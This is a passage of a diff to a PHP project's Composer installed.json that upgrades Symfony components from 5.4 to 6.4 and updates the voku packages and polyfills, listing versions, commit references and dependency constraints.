"symfony/deprecation-contracts": "^2.1|^3", + "php": ">=8.1", + "symfony/deprecation-contracts": "^2.5|^3", "symfony/polyfill-mbstring": "~1.1", - "symfony/polyfill-php80": "^1.16" - }, - "require-dev": { - "predis/predis": "~1.0", - "symfony/cache": "^4.4|^5.0|^6.0", - "symfony/dependency-injection": "^5.4|^6.0", - "symfony/expression-language": "^4.4|^5.0|^6.0", - "symfony/http-kernel": "^5.4.12|^6.0.12|^6.1.4", - "symfony/mime": "^4.4|^5.0|^6.0", - "symfony/rate-limiter": "^5.2|^6.0" + "symfony/polyfill-php83": "^1.27" }, - "suggest": { - "symfony/mime": "To use the file extension guesser" + "conflict": { + "symfony/cache": "<6.3" }, - "time": "2024-04-18T08:26:06+00:00", + "require-dev": { + "doctrine/dbal": "^2.13.1|^3|^4", + "predis/predis": "^1.1|^2.0", + "symfony/cache": "^6.3|^7.0", + "symfony/dependency-injection": "^5.4|^6.0|^7.0", + "symfony/expression-language": "^5.4|^6.0|^7.0", + "symfony/http-kernel": "^5.4.12|^6.0.12|^6.1.4|^7.0", + "symfony/mime": "^5.4|^6.0|^7.0", + "symfony/rate-limiter": "^5.4|^6.0|^7.0" + }, + "time": "2024-05-31T14:49:08+00:00", "type": "library", "installation-source": "dist", "autoload": { @@ -5005,7 +5900,7 @@ "description": "Defines an object-oriented layer for the HTTP specification", "homepage": "https://symfony.com", "support": { - "source": "https://github.com/symfony/http-foundation/tree/v5.4.39" + "source": "https://github.com/symfony/http-foundation/tree/v6.4.8" }, "funding": [ { @@ -5025,75 +5920,76 @@ }, { "name": "symfony/http-kernel", - "version": "v5.4.39", - "version_normalized": "5.4.39.0", + "version": "v6.4.8", + "version_normalized": "6.4.8.0", "source": { "type": "git", "url": "https://github.com/symfony/http-kernel.git", - "reference": "1d812dc3a2863cc4246aaa636b0d71e0bf68e6b0" + "reference": "6c519aa3f32adcfd1d1f18d923f6b227d9acf3c1" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/http-kernel/zipball/1d812dc3a2863cc4246aaa636b0d71e0bf68e6b0", - "reference": "1d812dc3a2863cc4246aaa636b0d71e0bf68e6b0", + "url": "https://api.github.com/repos/symfony/http-kernel/zipball/6c519aa3f32adcfd1d1f18d923f6b227d9acf3c1", + "reference": "6c519aa3f32adcfd1d1f18d923f6b227d9acf3c1", "shasum": "" }, "require": { - "php": ">=7.2.5", - "psr/log": "^1|^2", - "symfony/deprecation-contracts": "^2.1|^3", - "symfony/error-handler": "^4.4|^5.0|^6.0", - "symfony/event-dispatcher": "^5.0|^6.0", - "symfony/http-foundation": "^5.4.21|^6.2.7", - "symfony/polyfill-ctype": "^1.8", - "symfony/polyfill-php73": "^1.9", - "symfony/polyfill-php80": "^1.16" + "php": ">=8.1", + "psr/log": "^1|^2|^3", + "symfony/deprecation-contracts": "^2.5|^3", + "symfony/error-handler": "^6.4|^7.0", + "symfony/event-dispatcher": "^5.4|^6.0|^7.0", + "symfony/http-foundation": "^6.4|^7.0", + "symfony/polyfill-ctype": "^1.8" }, "conflict": { "symfony/browser-kit": "<5.4", - "symfony/cache": "<5.0", - "symfony/config": "<5.0", - "symfony/console": "<4.4", - "symfony/dependency-injection": "<5.3", - "symfony/doctrine-bridge": "<5.0", - "symfony/form": "<5.0", - "symfony/http-client": "<5.0", - "symfony/mailer": "<5.0", - "symfony/messenger": "<5.0", - "symfony/translation": "<5.0", - "symfony/twig-bridge": "<5.0", - "symfony/validator": "<5.0", + "symfony/cache": "<5.4", + "symfony/config": "<6.1", + "symfony/console": "<5.4", + "symfony/dependency-injection": "<6.4", + "symfony/doctrine-bridge": "<5.4", + "symfony/form": "<5.4", + "symfony/http-client": "<5.4", + "symfony/http-client-contracts": "<2.5", + "symfony/mailer": "<5.4", + "symfony/messenger": "<5.4", + "symfony/translation": "<5.4", + "symfony/translation-contracts": "<2.5", + "symfony/twig-bridge": "<5.4", + "symfony/validator": "<6.4", + "symfony/var-dumper": "<6.3", "twig/twig": "<2.13" }, "provide": { - "psr/log-implementation": "1.0|2.0" + "psr/log-implementation": "1.0|2.0|3.0" }, "require-dev": { "psr/cache": "^1.0|^2.0|^3.0", - "symfony/browser-kit": "^5.4|^6.0", - "symfony/config": "^5.0|^6.0", - "symfony/console": "^4.4|^5.0|^6.0", - "symfony/css-selector": "^4.4|^5.0|^6.0", - "symfony/dependency-injection": "^5.3|^6.0", - "symfony/dom-crawler": "^4.4|^5.0|^6.0", - "symfony/expression-language": "^4.4|^5.0|^6.0", - "symfony/finder": "^4.4|^5.0|^6.0", - "symfony/http-client-contracts": "^1.1|^2|^3", - "symfony/process": "^4.4|^5.0|^6.0", - "symfony/routing": "^4.4|^5.0|^6.0", - "symfony/stopwatch": "^4.4|^5.0|^6.0", - "symfony/translation": "^4.4|^5.0|^6.0", - "symfony/translation-contracts": "^1.1|^2|^3", - "symfony/var-dumper": "^4.4.31|^5.4", + "symfony/browser-kit": "^5.4|^6.0|^7.0", + "symfony/clock": "^6.2|^7.0", + "symfony/config": "^6.1|^7.0", + "symfony/console": "^5.4|^6.0|^7.0", + "symfony/css-selector": "^5.4|^6.0|^7.0", + "symfony/dependency-injection": "^6.4|^7.0", + "symfony/dom-crawler": "^5.4|^6.0|^7.0", + "symfony/expression-language": "^5.4|^6.0|^7.0", + "symfony/finder": "^5.4|^6.0|^7.0", + "symfony/http-client-contracts": "^2.5|^3", + "symfony/process": "^5.4|^6.0|^7.0", + "symfony/property-access": "^5.4.5|^6.0.5|^7.0", + "symfony/routing": "^5.4|^6.0|^7.0", + "symfony/serializer": "^6.4.4|^7.0.4", + "symfony/stopwatch": "^5.4|^6.0|^7.0", + "symfony/translation": "^5.4|^6.0|^7.0", + "symfony/translation-contracts": "^2.5|^3", + "symfony/uid": "^5.4|^6.0|^7.0", + "symfony/validator": "^6.4|^7.0", + "symfony/var-dumper": "^5.4|^6.4|^7.0", + "symfony/var-exporter": "^6.2|^7.0", "twig/twig": "^2.13|^3.0.4" }, - "suggest": { - "symfony/browser-kit": "", - "symfony/config": "", - "symfony/console": "", - "symfony/dependency-injection": "" - }, - "time": "2024-04-29T11:17:46+00:00", + "time": "2024-06-02T16:06:25+00:00", "type": "library", "installation-source": "dist", "autoload": { @@ -5121,7 +6017,7 @@ "description": "Provides a structured process for converting a Request into a Response", "homepage": "https://symfony.com", "support": { - "source": "https://github.com/symfony/http-kernel/tree/v5.4.39" + "source": "https://github.com/symfony/http-kernel/tree/v6.4.8" }, "funding": [ { @@ -5141,43 +6037,43 @@ }, { "name": "symfony/mime", - "version": "v5.4.39", - "version_normalized": "5.4.39.0", + "version": "v6.4.8", + "version_normalized": "6.4.8.0", "source": { "type": "git", "url": "https://github.com/symfony/mime.git", - "reference": "a5364f016fd9e090f7b4f250a97ea6925a5ca985" + "reference": "618597ab8b78ac86d1c75a9d0b35540cda074f33" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/mime/zipball/a5364f016fd9e090f7b4f250a97ea6925a5ca985", - "reference": "a5364f016fd9e090f7b4f250a97ea6925a5ca985", + "url": "https://api.github.com/repos/symfony/mime/zipball/618597ab8b78ac86d1c75a9d0b35540cda074f33", + "reference": "618597ab8b78ac86d1c75a9d0b35540cda074f33", "shasum": "" }, "require": { - "php": ">=7.2.5", - "symfony/deprecation-contracts": "^2.1|^3", + "php": ">=8.1", + "symfony/deprecation-contracts": "^2.5|^3", "symfony/polyfill-intl-idn": "^1.10", - "symfony/polyfill-mbstring": "^1.0", - "symfony/polyfill-php80": "^1.16" + "symfony/polyfill-mbstring": "^1.0" }, "conflict": { "egulias/email-validator": "~3.0.0", "phpdocumentor/reflection-docblock": "<3.2.2", "phpdocumentor/type-resolver": "<1.4.0", - "symfony/mailer": "<4.4", - "symfony/serializer": "<5.4.35|>=6,<6.3.12|>=6.4,<6.4.3" + "symfony/mailer": "<5.4", + "symfony/serializer": "<6.3.2" }, "require-dev": { "egulias/email-validator": "^2.1.10|^3.1|^4", + "league/html-to-markdown": "^5.0", "phpdocumentor/reflection-docblock": "^3.0|^4.0|^5.0", - "symfony/dependency-injection": "^4.4|^5.0|^6.0", - "symfony/process": "^5.4|^6.4", - "symfony/property-access": "^4.4|^5.1|^6.0", - "symfony/property-info": "^4.4|^5.1|^6.0", - "symfony/serializer": "^5.4.35|~6.3.12|^6.4.3" + "symfony/dependency-injection": "^5.4|^6.0|^7.0", + "symfony/process": "^5.4|^6.4|^7.0", + "symfony/property-access": "^5.4|^6.0|^7.0", + "symfony/property-info": "^5.4|^6.0|^7.0", + "symfony/serializer": "^6.3.2|^7.0" }, - "time": "2024-04-18T08:26:06+00:00", + "time": "2024-06-01T07:50:16+00:00", "type": "library", "installation-source": "dist", "autoload": { @@ -5209,7 +6105,7 @@ "mime-type" ], "support": { - "source": "https://github.com/symfony/mime/tree/v5.4.39" + "source": "https://github.com/symfony/mime/tree/v6.4.8" }, "funding": [ { @@ -5803,85 +6699,6 @@ ], "install-path": "../symfony/polyfill-php72" }, - { - "name": "symfony/polyfill-php73", - "version": "v1.29.0", - "version_normalized": "1.29.0.0", - "source": { - "type": "git", - "url": "https://github.com/symfony/polyfill-php73.git", - "reference": "21bd091060673a1177ae842c0ef8fe30893114d2" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/symfony/polyfill-php73/zipball/21bd091060673a1177ae842c0ef8fe30893114d2", - "reference": "21bd091060673a1177ae842c0ef8fe30893114d2", - "shasum": "" - }, - "require": { - "php": ">=7.1" - }, - "time": "2024-01-29T20:11:03+00:00", - "type": "library", - "extra": { - "thanks": { - "name": "symfony/polyfill", - "url": "https://github.com/symfony/polyfill" - } - }, - "installation-source": "dist", - "autoload": { - "files": [ - "bootstrap.php" - ], - "psr-4": { - "Symfony\\Polyfill\\Php73\\": "" - }, - "classmap": [ - "Resources/stubs" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "MIT" - ], - "authors": [ - { - "name": "Nicolas Grekas", - "email": "p@tchwork.com" - }, - { - "name": "Symfony Community", - "homepage": "https://symfony.com/contributors" - } - ], - "description": "Symfony polyfill backporting some PHP 7.3+ features to lower PHP versions", - "homepage": "https://symfony.com", - "keywords": [ - "compatibility", - "polyfill", - "portable", - "shim" - ], - "support": { - "source": "https://github.com/symfony/polyfill-php73/tree/v1.29.0" - }, - "funding": [ - { - "url": "https://symfony.com/sponsor", - "type": "custom" - }, - { - "url": "https://github.com/fabpot", - "type": "github" - }, - { - "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", - "type": "tidelift" - } - ], - "install-path": "../symfony/polyfill-php73" - }, { "name": "symfony/polyfill-php80", "version": "v1.29.0", @@ -5966,22 +6783,23 @@ "install-path": "../symfony/polyfill-php80" }, { - "name": "symfony/polyfill-php81", + "name": "symfony/polyfill-php83", "version": "v1.29.0", "version_normalized": "1.29.0.0", "source": { "type": "git", - "url": "https://github.com/symfony/polyfill-php81.git", - "reference": "c565ad1e63f30e7477fc40738343c62b40bc672d" + "url": "https://github.com/symfony/polyfill-php83.git", + "reference": "86fcae159633351e5fd145d1c47de6c528f8caff" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/polyfill-php81/zipball/c565ad1e63f30e7477fc40738343c62b40bc672d", - "reference": "c565ad1e63f30e7477fc40738343c62b40bc672d", + "url": "https://api.github.com/repos/symfony/polyfill-php83/zipball/86fcae159633351e5fd145d1c47de6c528f8caff", + "reference": "86fcae159633351e5fd145d1c47de6c528f8caff", "shasum": "" }, "require": { - "php": ">=7.1" + "php": ">=7.1", + "symfony/polyfill-php80": "^1.14" }, "time": "2024-01-29T20:11:03+00:00", "type": "library", @@ -5997,7 +6815,7 @@ "bootstrap.php" ], "psr-4": { - "Symfony\\Polyfill\\Php81\\": "" + "Symfony\\Polyfill\\Php83\\": "" }, "classmap": [ "Resources/stubs" @@ -6017,7 +6835,7 @@ "homepage": "https://symfony.com/contributors" } ], - "description": "Symfony polyfill backporting some PHP 8.1+ features to lower PHP versions", + "description": "Symfony polyfill backporting some PHP 8.3+ features to lower PHP versions", "homepage": "https://symfony.com", "keywords": [ "compatibility", @@ -6026,7 +6844,7 @@ "shim" ], "support": { - "source": "https://github.com/symfony/polyfill-php81/tree/v1.29.0" + "source": "https://github.com/symfony/polyfill-php83/tree/v1.29.0" }, "funding": [ { @@ -6042,28 +6860,27 @@ "type": "tidelift" } ], - "install-path": "../symfony/polyfill-php81" + "install-path": "../symfony/polyfill-php83" }, { "name": "symfony/process", - "version": "v5.4.39", - "version_normalized": "5.4.39.0", + "version": "v6.4.8", + "version_normalized": "6.4.8.0", "source": { "type": "git", "url": "https://github.com/symfony/process.git", - "reference": "85a554acd7c28522241faf2e97b9541247a0d3d5" + "reference": "8d92dd79149f29e89ee0f480254db595f6a6a2c5" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/process/zipball/85a554acd7c28522241faf2e97b9541247a0d3d5", - "reference": "85a554acd7c28522241faf2e97b9541247a0d3d5", + "url": "https://api.github.com/repos/symfony/process/zipball/8d92dd79149f29e89ee0f480254db595f6a6a2c5", + "reference": "8d92dd79149f29e89ee0f480254db595f6a6a2c5", "shasum": "" }, "require": { - "php": ">=7.2.5", - "symfony/polyfill-php80": "^1.16" + "php": ">=8.1" }, - "time": "2024-04-18T08:26:06+00:00", + "time": "2024-05-31T14:49:08+00:00", "type": "library", "installation-source": "dist", "autoload": { @@ -6091,7 +6908,7 @@ "description": "Executes commands in sub-processes", "homepage": "https://symfony.com", "support": { - "source": "https://github.com/symfony/process/tree/v5.4.39" + "source": "https://github.com/symfony/process/tree/v6.4.8" }, "funding": [ { @@ -6111,35 +6928,32 @@ }, { "name": "symfony/service-contracts", - "version": "v2.5.3", - "version_normalized": "2.5.3.0", + "version": "v3.5.0", + "version_normalized": "3.5.0.0", "source": { "type": "git", "url": "https://github.com/symfony/service-contracts.git", - "reference": "a2329596ddc8fd568900e3fc76cba42489ecc7f3" + "reference": "bd1d9e59a81d8fa4acdcea3f617c581f7475a80f" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/service-contracts/zipball/a2329596ddc8fd568900e3fc76cba42489ecc7f3", - "reference": "a2329596ddc8fd568900e3fc76cba42489ecc7f3", + "url": "https://api.github.com/repos/symfony/service-contracts/zipball/bd1d9e59a81d8fa4acdcea3f617c581f7475a80f", + "reference": "bd1d9e59a81d8fa4acdcea3f617c581f7475a80f", "shasum": "" }, "require": { - "php": ">=7.2.5", - "psr/container": "^1.1", - "symfony/deprecation-contracts": "^2.1|^3" + "php": ">=8.1", + "psr/container": "^1.1|^2.0", + "symfony/deprecation-contracts": "^2.5|^3" }, "conflict": { "ext-psr": "<1.1|>=2" }, - "suggest": { - "symfony/service-implementation": "" - }, - "time": "2023-04-21T15:04:16+00:00", + "time": "2024-04-18T09:32:20+00:00", "type": "library", "extra": { "branch-alias": { - "dev-main": "2.5-dev" + "dev-main": "3.5-dev" }, "thanks": { "name": "symfony/contracts", @@ -6150,7 +6964,10 @@ "autoload": { "psr-4": { "Symfony\\Contracts\\Service\\": "" - } + }, + "exclude-from-classmap": [ + "/Test/" + ] }, "notification-url": "https://packagist.org/downloads/", "license": [ @@ -6177,7 +6994,7 @@ "standards" ], "support": { - "source": "https://github.com/symfony/service-contracts/tree/v2.5.3" + "source": "https://github.com/symfony/service-contracts/tree/v3.5.0" }, "funding": [ { @@ -6197,37 +7014,37 @@ }, { "name": "symfony/string", - "version": "v5.4.39", - "version_normalized": "5.4.39.0", + "version": "v6.4.8", + "version_normalized": "6.4.8.0", "source": { "type": "git", "url": "https://github.com/symfony/string.git", - "reference": "495e71bae5862308051b9e63cc3e34078eed83ef" + "reference": "a147c0f826c4a1f3afb763ab8e009e37c877a44d" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/string/zipball/495e71bae5862308051b9e63cc3e34078eed83ef", - "reference": "495e71bae5862308051b9e63cc3e34078eed83ef", + "url": "https://api.github.com/repos/symfony/string/zipball/a147c0f826c4a1f3afb763ab8e009e37c877a44d", + "reference": "a147c0f826c4a1f3afb763ab8e009e37c877a44d", "shasum": "" }, "require": { - "php": ">=7.2.5", + "php": ">=8.1", "symfony/polyfill-ctype": "~1.8", "symfony/polyfill-intl-grapheme": "~1.0", "symfony/polyfill-intl-normalizer": "~1.0", - "symfony/polyfill-mbstring": "~1.0", - "symfony/polyfill-php80": "~1.15" + "symfony/polyfill-mbstring": "~1.0" }, "conflict": { - "symfony/translation-contracts": ">=3.0" + "symfony/translation-contracts": "<2.5" }, "require-dev": { - "symfony/error-handler": "^4.4|^5.0|^6.0", - "symfony/http-client": "^4.4|^5.0|^6.0", - "symfony/translation-contracts": "^1.1|^2", - "symfony/var-exporter": "^4.4|^5.0|^6.0" + "symfony/error-handler": "^5.4|^6.0|^7.0", + "symfony/http-client": "^5.4|^6.0|^7.0", + "symfony/intl": "^6.2|^7.0", + "symfony/translation-contracts": "^2.5|^3.0", + "symfony/var-exporter": "^5.4|^6.0|^7.0" }, - "time": "2024-04-18T08:26:06+00:00", + "time": "2024-05-31T14:49:08+00:00", "type": "library", "installation-source": "dist", "autoload": { @@ -6266,7 +7083,7 @@ "utf8" ], "support": { - "source": "https://github.com/symfony/string/tree/v5.4.39" + "source": "https://github.com/symfony/string/tree/v6.4.8" }, "funding": [ { @@ -6286,56 +7103,54 @@ }, { "name": "symfony/translation", - "version": "v5.4.39", - "version_normalized": "5.4.39.0", + "version": "v6.4.8", + "version_normalized": "6.4.8.0", "source": { "type": "git", "url": "https://github.com/symfony/translation.git", - "reference": "0fabede35e3985c4f96089edeeefe8313e15ca3a" + "reference": "a002933b13989fc4bd0b58e04bf7eec5210e438a" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/translation/zipball/0fabede35e3985c4f96089edeeefe8313e15ca3a", - "reference": "0fabede35e3985c4f96089edeeefe8313e15ca3a", + "url": "https://api.github.com/repos/symfony/translation/zipball/a002933b13989fc4bd0b58e04bf7eec5210e438a", + "reference": "a002933b13989fc4bd0b58e04bf7eec5210e438a", "shasum": "" }, "require": { - "php": ">=7.2.5", - "symfony/deprecation-contracts": "^2.1|^3", + "php": ">=8.1", + "symfony/deprecation-contracts": "^2.5|^3", "symfony/polyfill-mbstring": "~1.0", - "symfony/polyfill-php80": "^1.16", - "symfony/translation-contracts": "^2.3" + "symfony/translation-contracts": "^2.5|^3.0" }, "conflict": { - "symfony/config": "<4.4", - "symfony/console": "<5.3", - "symfony/dependency-injection": "<5.0", - "symfony/http-kernel": "<5.0", - "symfony/twig-bundle": "<5.0", - "symfony/yaml": "<4.4" + "symfony/config": "<5.4", + "symfony/console": "<5.4", + "symfony/dependency-injection": "<5.4", + "symfony/http-client-contracts": "<2.5", + "symfony/http-kernel": "<5.4", + "symfony/service-contracts": "<2.5", + "symfony/twig-bundle": "<5.4", + "symfony/yaml": "<5.4" }, "provide": { - "symfony/translation-implementation": "2.3" + "symfony/translation-implementation": "2.3|3.0" }, "require-dev": { + "nikic/php-parser": "^4.18|^5.0", "psr/log": "^1|^2|^3", - "symfony/config": "^4.4|^5.0|^6.0", - "symfony/console": "^5.4|^6.0", - "symfony/dependency-injection": "^5.0|^6.0", - "symfony/finder": "^4.4|^5.0|^6.0", - "symfony/http-client-contracts": "^1.1|^2.0|^3.0", - "symfony/http-kernel": "^5.0|^6.0", - "symfony/intl": "^4.4|^5.0|^6.0", + "symfony/config": "^5.4|^6.0|^7.0", + "symfony/console": "^5.4|^6.0|^7.0", + "symfony/dependency-injection": "^5.4|^6.0|^7.0", + "symfony/finder": "^5.4|^6.0|^7.0", + "symfony/http-client-contracts": "^2.5|^3.0", + "symfony/http-kernel": "^5.4|^6.0|^7.0", + "symfony/intl": "^5.4|^6.0|^7.0", "symfony/polyfill-intl-icu": "^1.21", - "symfony/service-contracts": "^1.1.2|^2|^3", - "symfony/yaml": "^4.4|^5.0|^6.0" - }, - "suggest": { - "psr/log-implementation": "To use logging capability in translator", - "symfony/config": "", - "symfony/yaml": "" + "symfony/routing": "^5.4|^6.0|^7.0", + "symfony/service-contracts": "^2.5|^3", + "symfony/yaml": "^5.4|^6.0|^7.0" }, - "time": "2024-04-18T08:26:06+00:00", + "time": "2024-05-31T14:49:08+00:00", "type": "library", "installation-source": "dist", "autoload": { @@ -6366,7 +7181,7 @@ "description": "Provides tools to internationalize your application", "homepage": "https://symfony.com", "support": { - "source": "https://github.com/symfony/translation/tree/v5.4.39" + "source": "https://github.com/symfony/translation/tree/v6.4.8" }, "funding": [ { @@ -6386,30 +7201,27 @@ }, { "name": "symfony/translation-contracts", - "version": "v2.5.3", - "version_normalized": "2.5.3.0", + "version": "v3.5.0", + "version_normalized": "3.5.0.0", "source": { "type": "git", "url": "https://github.com/symfony/translation-contracts.git", - "reference": "b0073a77ac0b7ea55131020e87b1e3af540f4664" + "reference": "b9d2189887bb6b2e0367a9fc7136c5239ab9b05a" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/translation-contracts/zipball/b0073a77ac0b7ea55131020e87b1e3af540f4664", - "reference": "b0073a77ac0b7ea55131020e87b1e3af540f4664", + "url": "https://api.github.com/repos/symfony/translation-contracts/zipball/b9d2189887bb6b2e0367a9fc7136c5239ab9b05a", + "reference": "b9d2189887bb6b2e0367a9fc7136c5239ab9b05a", "shasum": "" }, "require": { - "php": ">=7.2.5" - }, - "suggest": { - "symfony/translation-implementation": "" + "php": ">=8.1" }, - "time": "2024-01-23T13:51:25+00:00", + "time": "2024-04-18T09:32:20+00:00", "type": "library", "extra": { "branch-alias": { - "dev-main": "2.5-dev" + "dev-main": "3.5-dev" }, "thanks": { "name": "symfony/contracts", @@ -6420,7 +7232,10 @@ "autoload": { "psr-4": { "Symfony\\Contracts\\Translation\\": "" - } + }, + "exclude-from-classmap": [ + "/Test/" + ] }, "notification-url": "https://packagist.org/downloads/", "license": [ @@ -6447,7 +7262,7 @@ "standards" ], "support": { - "source": "https://github.com/symfony/translation-contracts/tree/v2.5.3" + "source": "https://github.com/symfony/translation-contracts/tree/v3.5.0" }, "funding": [ { @@ -6467,41 +7282,37 @@ }, { "name": "symfony/var-dumper", - "version": "v5.4.39", - "version_normalized": "5.4.39.0", + "version": "v6.4.8", + "version_normalized": "6.4.8.0", "source": { "type": "git", "url": "https://github.com/symfony/var-dumper.git", - "reference": "1987f86ad7f339fe3d3e8e6cf3b7ce4d4b8e547e" + "reference": "ad23ca4312395f0a8a8633c831ef4c4ee542ed25" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/var-dumper/zipball/1987f86ad7f339fe3d3e8e6cf3b7ce4d4b8e547e", - "reference": "1987f86ad7f339fe3d3e8e6cf3b7ce4d4b8e547e", + "url": "https://api.github.com/repos/symfony/var-dumper/zipball/ad23ca4312395f0a8a8633c831ef4c4ee542ed25", + "reference": "ad23ca4312395f0a8a8633c831ef4c4ee542ed25", "shasum": "" }, "require": { - "php": ">=7.2.5", - "symfony/polyfill-mbstring": "~1.0", - "symfony/polyfill-php80": "^1.16" + "php": ">=8.1", + "symfony/deprecation-contracts": "^2.5|^3", + "symfony/polyfill-mbstring": "~1.0" }, "conflict": { - "symfony/console": "<4.4" + "symfony/console": "<5.4" }, "require-dev": { "ext-iconv": "*", - "symfony/console": "^4.4|^5.0|^6.0", - "symfony/http-kernel": "^4.4|^5.0|^6.0", - "symfony/process": "^4.4|^5.0|^6.0", - "symfony/uid": "^5.1|^6.0", + "symfony/console": "^5.4|^6.0|^7.0", + "symfony/error-handler": "^6.3|^7.0", + "symfony/http-kernel": "^5.4|^6.0|^7.0", + "symfony/process": "^5.4|^6.0|^7.0", + "symfony/uid": "^5.4|^6.0|^7.0", "twig/twig": "^2.13|^3.0.4" }, - "suggest": { - "ext-iconv": "To convert non-UTF-8 strings to UTF-8 (or symfony/polyfill-iconv in case ext-iconv cannot be used).", - "ext-intl": "To show region name in time zone dump", - "symfony/console": "To use the ServerDumpCommand and/or the bin/var-dump-server script" - }, - "time": "2024-04-18T08:26:06+00:00", + "time": "2024-05-31T14:49:08+00:00", "bin": [ "Resources/bin/var-dump-server" ], @@ -6539,7 +7350,7 @@ "dump" ], "support": { - "source": "https://github.com/symfony/var-dumper/tree/v5.4.39" + "source": "https://github.com/symfony/var-dumper/tree/v6.4.8" }, "funding": [ { @@ -6714,27 +7525,27 @@ }, { "name": "voku/anti-xss", - "version": "4.1.35", - "version_normalized": "4.1.35.0", + "version": "4.1.42", + "version_normalized": "4.1.42.0", "source": { "type": "git", "url": "https://github.com/voku/anti-xss.git", - "reference": "4d7ec2816cd6eeebb7d5abbde8b0349f66709496" + "reference": "bca1f8607e55a3c5077483615cd93bd8f11bd675" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/voku/anti-xss/zipball/4d7ec2816cd6eeebb7d5abbde8b0349f66709496", - "reference": "4d7ec2816cd6eeebb7d5abbde8b0349f66709496", + "url": "https://api.github.com/repos/voku/anti-xss/zipball/bca1f8607e55a3c5077483615cd93bd8f11bd675", + "reference": "bca1f8607e55a3c5077483615cd93bd8f11bd675", "shasum": "" }, "require": { "php": ">=7.0.0", - "voku/portable-utf8": "~6.0.0" + "voku/portable-utf8": "~6.0.2" }, "require-dev": { "phpunit/phpunit": "~6.0 || ~7.0 || ~9.0" }, - "time": "2021-12-08T15:20:33+00:00", + "time": "2023-07-03T14:40:46+00:00", "type": "library", "extra": { "branch-alias": { @@ -6772,7 +7583,7 @@ ], "support": { "issues": "https://github.com/voku/anti-xss/issues", - "source": "https://github.com/voku/anti-xss/tree/4.1.35" + "source": "https://github.com/voku/anti-xss/tree/4.1.42" }, "funding": [ { @@ -6800,17 +7611,17 @@ }, { "name": "voku/portable-ascii", - "version": "1.6.1", - "version_normalized": "1.6.1.0", + "version": "2.0.1", + "version_normalized": "2.0.1.0", "source": { "type": "git", "url": "https://github.com/voku/portable-ascii.git", - "reference": "87337c91b9dfacee02452244ee14ab3c43bc485a" + "reference": "b56450eed252f6801410d810c8e1727224ae0743" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/voku/portable-ascii/zipball/87337c91b9dfacee02452244ee14ab3c43bc485a", - "reference": "87337c91b9dfacee02452244ee14ab3c43bc485a", + "url": "https://api.github.com/repos/voku/portable-ascii/zipball/b56450eed252f6801410d810c8e1727224ae0743", + "reference": "b56450eed252f6801410d810c8e1727224ae0743", "shasum": "" }, "require": { @@ -6822,7 +7633,7 @@ "suggest": { "ext-intl": "Use Intl for transliterator_transliterate() support" }, - "time": "2022-01-24T18:55:24+00:00", + "time": "2022-03-08T17:03:00+00:00", "type": "library", "installation-source": "dist", "autoload": { @@ -6849,7 +7660,7 @@ ], "support": { "issues": "https://github.com/voku/portable-ascii/issues", - "source": "https://github.com/voku/portable-ascii/tree/1.6.1" + "source": "https://github.com/voku/portable-ascii/tree/2.0.1" }, "funding": [ { @@ -6877,17 +7688,17 @@ }, { "name": "voku/portable-utf8", - "version": "6.0.1", - "version_normalized": "6.0.1.0", + "version": "6.0.13", + "version_normalized": "6.0.13.0", "source": { "type": "git", "url": "https://github.com/voku/portable-utf8.git", - "reference": "e4365df3f7b63f9e57e1015f6c3ceec19c169f7a" + "reference": "b8ce36bf26593e5c2e81b1850ef0ffb299d2043f" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/voku/portable-utf8/zipball/e4365df3f7b63f9e57e1015f6c3ceec19c169f7a", - "reference": "e4365df3f7b63f9e57e1015f6c3ceec19c169f7a", + "url": "https://api.github.com/repos/voku/portable-utf8/zipball/b8ce36bf26593e5c2e81b1850ef0ffb299d2043f", + "reference": "b8ce36bf26593e5c2e81b1850ef0ffb299d2043f", "shasum": "" }, "require": { @@ -6897,10 +7708,14 @@ "symfony/polyfill-intl-normalizer": "~1.0", "symfony/polyfill-mbstring": "~1.0", "symfony/polyfill-php72": "~1.0", - "voku/portable-ascii": "~1.6.0" + "voku/portable-ascii": "~2.0.0" }, "require-dev": { - "phpunit/phpunit": "~6.0 || ~7.0 || ~9.0" + "phpstan/phpstan": "1.9.*@dev", + "phpstan/phpstan-strict-rules": "1.4.*@dev", + "phpunit/phpunit": "~6.0 || ~7.0 || ~9.0", + "thecodingmachine/phpstan-strict-rules": "1.0.*@dev", + "voku/phpstan-rules": "3.1.*@dev" }, "suggest": { "ext-ctype": "Use Ctype for e.g. hexadecimal digit detection", @@ -6910,7 +7725,7 @@ "ext-json": "Use JSON for string detection", "ext-mbstring": "Use Mbstring for best performance" }, - "time": "2022-01-24T09:49:08+00:00", + "time": "2023-03-08T08:35:38+00:00", "type": "library", "installation-source": "dist", "autoload": { @@ -6951,7 +7766,7 @@ ], "support": { "issues": "https://github.com/voku/portable-utf8/issues", - "source": "https://github.com/voku/portable-utf8/tree/6.0.1" + "source": "https://github.com/voku/portable-utf8/tree/6.0.13" }, "funding": [ { @@ -6977,43 +7792,110 @@ ], "install-path": "../voku/portable-utf8" }, + { + "name": "webmozart/assert", + "version": "1.11.0", + "version_normalized": "1.11.0.0", + "source": { + "type": "git", + "url": "https://github.com/webmozarts/assert.git", + "reference": "11cb2199493b2f8a3b53e7f19068fc6aac760991" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/webmozarts/assert/zipball/11cb2199493b2f8a3b53e7f19068fc6aac760991", + "reference": "11cb2199493b2f8a3b53e7f19068fc6aac760991", + "shasum": "" + }, + "require": { + "ext-ctype": "*", + "php": "^7.2 || ^8.0" + }, + "conflict": { + "phpstan/phpstan": "<0.12.20", + "vimeo/psalm": "<4.6.1 || 4.6.2" + }, + "require-dev": { + "phpunit/phpunit": "^8.5.13" + }, + "time": "2022-06-03T18:03:27+00:00", + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "1.10-dev" + } + }, 